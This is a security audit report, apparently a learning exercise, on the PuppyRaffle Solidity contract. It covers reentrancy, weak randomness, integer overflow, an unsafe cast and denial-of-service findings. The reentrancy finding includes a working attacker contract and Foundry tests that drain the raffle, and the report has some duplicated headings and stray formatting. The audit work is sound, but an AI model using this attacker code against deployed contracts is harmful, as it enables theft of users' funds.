Protocol Audit Report

Prepared by: Caducus

Table of Contents

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.

2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Caducus makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

./src/ #-- PuppyRaffle.sol

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Executive Summary

This was my second audit.

Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Info	5
Gas	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance.

Description: The `PuppyRaffle:refund` function does not follow Checks-Effects-Interactions [CEI] pattern. This allows the entrant to drain the raffle balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call, is the variable for `msg.sender`'s balance updated to 0.

```
        function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

  @>       payable(msg.sender).sendValue(entranceFee);

  @>      players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

A player who has entered the raffle could have a `fallback/receive` function that recalls the `PuppyRaffle::refund` function before the `msg.sender` balance is updated to 0, claiming another refund. This could continue until the entire balance of `PuppyRaffle` has been drained.

Impact: All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept:

1. User enters the raffle

2. Attacker sets up a contract with a malicious `receive/fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof of Code:

▶ Code

Place the following into the `PuppyRaffleTest.t.sol` file.

```
     function testReentrancy() public playersEntered {
       console.log("contract balance before attack",
address(puppyRaffle).balance);
       ReEntrancyAttacker attackerContract = new
ReEntrancyAttacker(address(puppyRaffle));
       address attacker = makeAddr("attacker");
       vm.deal(attacker, 1 ether);
       console.log("attacker balance before attack",
address(attackerContract).balance);
       vm.startPrank(attacker);

       attackerContract.attack{value: entranceFee}();
       console.log("contract balance after attack",
address(puppyRaffle).balance);
       console.log("attacker balance after attack",
address(attackerContract).balance);
       assert(address(attackerContract).balance >
address(puppyRaffle).balance);
   }
```

And this contract as well.

```
    contract ReEntrancyAttacker {
    PuppyRaffle raffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(address victimAddress) {
        raffle = PuppyRaffle(victimAddress);
        entranceFee = raffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        raffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = raffle.getActivePlayerIndex(address(this));

        raffle.refund(attackerIndex);
    }

    receive() external payable {
        if (address(raffle).balance >= entranceFee) {
            raffle.refund(attackerIndex);
        }
    }
}
```

Recommended Mitigation: To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emmision up as well.

```
 function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` function, allows users to influence or predict the outcome of the raffle.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable find number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can influence the outcome of the raffle, winner, rarity of the puppy NFT. This makes the entire raffle worthless, as it becomes a gas war.

Proof of Concept:

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.

2. User can mine/manipulate their `msg.sender` value to result in their address being used to generate the winner!
3. Users can revert their `selectWinner` transaction if they don't like the winner or resulting puppy.

Using on-chain values as a randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Use of [Chainlink VRF] for cryptographically secure and provably random values to ensure protocol integrity. (https://docs.chain.link/vrf)

[H-3] Integer Overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions priot to `0.8.0` integers were subject to integer overflows.

```
uint64 myVar = type(uint64).max;
//  Decimal: 18446744073709551615
myVar = myVar + 1;
// myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, the `totalFees` variable is used for accumulated fees to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, it will be set to 0, leaving fees permanently stuck in the contract.

Proof of Concept:

▶ Integer Overflow PoC

1. We conclude a raffle of 4 players
2. Then 89 players enter a new raffle, then we conclude that raffle as well.
3. 1. `totalFees` will be:

```
 totalFees = totalFees + uint64(fee);
 //substituted
 totalsFees =  Decimal: 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

▶ Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
    console.log("ending total fees", endingTotalFees);
    assert(endingTotalFees < startingTotalFees);

    // We are also unable to withdraw any fees because of the require check
    vm.prank(puppyRaffle.feeAddress());
    vm.expectRevert("PuppyRaffle: There are currently players active!");
    puppyRaffle.withdrawFees();

}
```

Recommended Mitigation: There are a few possible mitigations.

1. Use of a newer solidity version and a different integer type (e.g. `uint256`).
2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle: There are currently players active!");
```

There are more attack vectors with that final require, so we should remove it completely.

Medium

[M-1] Unbounded For-Loop to check for duplicates in `PuppyRaffle::enterRaffle` is a potential DoS attack, incrementing gas costs for future entrants.

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `players` array gets, the more expensive it becomes to check for duplicates. Especially when there is a second loop going through it. This can cause future entrants to pay more gas to enter the raffle, resulting in dramatically different gas costs for entrants, depending on their position for entrance.

▶ Details

```
    //@sreview potential DoS
     function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, 
"PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
            players.push(newPlayers[i]);
        }
        // Check for duplicates

@> for (uint256 i = 0; i < players.length - 1; i++) {
for (uint256 j = i + 1; j < players.length; j++) {
require(players[i] != players[j], "PuppyRaffle: Duplicate player");
}
}
emit RaffleEnter(newPlayers);
}
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causin a rush at the start of the raffle to be one of the first to enter.

An attacker might make the array so big, that no one else enters, guaranteeing them the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas cost will be as such: -1st 100 players: 6252128 -2nd 100 players: 18068218

▶ PoC

```
   function testCanEnterRaffleAndCauseDoS() public {
        vm.txGasPrice(1);
        // enter 100 players
        uint256 numOfPlayers = 100;

        address[] memory players = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();
        uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;
        console.log("Gas used for first 100 players", gasUsed);

        // enter another 100 players
        address[] memory playersAnotherPack = new address[](numOfPlayers);
        for (uint256 i = 0; i < numOfPlayers; i++) {
            playersAnotherPack[i] = address(numOfPlayers + i);
        }
        uint256 gasStartRoundTwo = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(playersAnotherPack);
        uint256 gasEndRoundTwo = gasleft();
        uint256 gasUsedRoundTwo = (gasStartRoundTwo - gasEndRoundTwo) *
tx.gasprice;
        console.log("Gas used for second 100 players", gasUsedRoundTwo);
        assert(gasUsed < gasUsedRoundTwo);
    }
```

Recommended Mitigation:

1. Consider allowing duplicates. Users can create new wallet and enter the raffle with the new address, allowing the same user to enter multiple times.
2. Consider using a mapping for constant time lookup of duplicates.

```
mapping(address => bool) public players;
```

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration,
"PuppyRaffle: Raffle not over");
        require(players.length > 0, "PuppyRaffle: No players in raffle");

        uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp,
block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 fee = totalFees / 10;
        uint256 winnings = address(this).balance - fee;
@>      totalFees = totalFees + uint64(fee);
        players = new address[](0);
        emit RaffleWinner(winner, winnings);
    }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~`18` ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

[M-3] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existent players and for players at index 0, causing a player at index 0 to inccorectly think they have not entered the raffle.

Description: If a player is in the `puppyRaffle::players` array at index 0, this will return 0. But according to the natspec, it will also return 0 if the player is not in the array.

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may incorrectly think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant

2. User calls `PuppyRaffle::getActivePlayerIndex` which returns 0, thinking they have not entered the raffle due to wrong documentation
3. User calls `PuppyRaffle::enterRaffle` which will fail

Recommended Mitigation: The easiest recommendation would be to revert the function and throw an error if the player is not in the array.

Gas

[G-1] Unchanged state variables should be declared as constant or immutable.

Description: Reading from storage is much more gas expensive than reading from a constant/immutable variable.

Instances:

- `PuppyRaffle::raffleDuration` should be immutable.
- `PuppyRaffle::commonImageUri` should be constant.
- `PuppyRaffle::rareImageUri` should be constant.
- `PuppyRaffle::legendaryImageUri` should be constant.

[G-2] Loop condition contains `state_variable.length` that could be cached outside.

```diff
+ uint256 playerLength = players.length;
-                   for (uint256 i = 0; i < players.length - 1; i++) {
+                for (uint256 i = 0; i < playerLength - 1; i++) {
-              for (uint256 j = i + 1; j < players.length; j++) {
+           for (uint256 j = i + 1; j < playerLength; j++) {
                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
            }
        }
```

Informational

[I-1] Solidity pragma should be specific, not wide.

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

▶ 1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

[I-2] Using an Outdated Version of Solidity is Not Recommended

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. We also recommend avoiding complex pragma statement. Recommendation

Recommendations:

Deploy with any of the following Solidity versions:

```
0.8.18
```

The recommendations take into account:

```
Risks related to recent releases
Risks of complex code generation changes
Risks of new language features
Risks of known bugs
```

Use a simple pragma version that allows any of these versions. Consider using the latest version of Solidity for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 2 Found Instances

- Found in src/PuppyRaffle.sol Line: 62
- Found in src/PuppyRaffle.sol Line: 180

``` ### [I-4] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice.

```diff
+         _safeMint(winner, tokenId);
        (bool success,) = winner.call{value: prizePool}("");
        require(success, "PuppyRaffle: Failed to send prize pool to winner");
-        _safeMint(winner, tokenId);
```

[I-4] Use of "Magic" Numbers is discouraged.

It can be confusing to see number literals in your code. Consider using named constants instead. Examples:

```
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead you could use:
```

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant PRIZE_POOL_PRECISION = 100;
```

[I-5] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.

It is best practice to emit an event whenever an action results in a state change.

Examples:

- `PuppyRaffle::totalFees` within the `selectWinner` function
- `PuppyRaffle::raffleStartTime` within the `selectWinner` function
- `PuppyRaffle::totalFees` within the `withdrawFees` function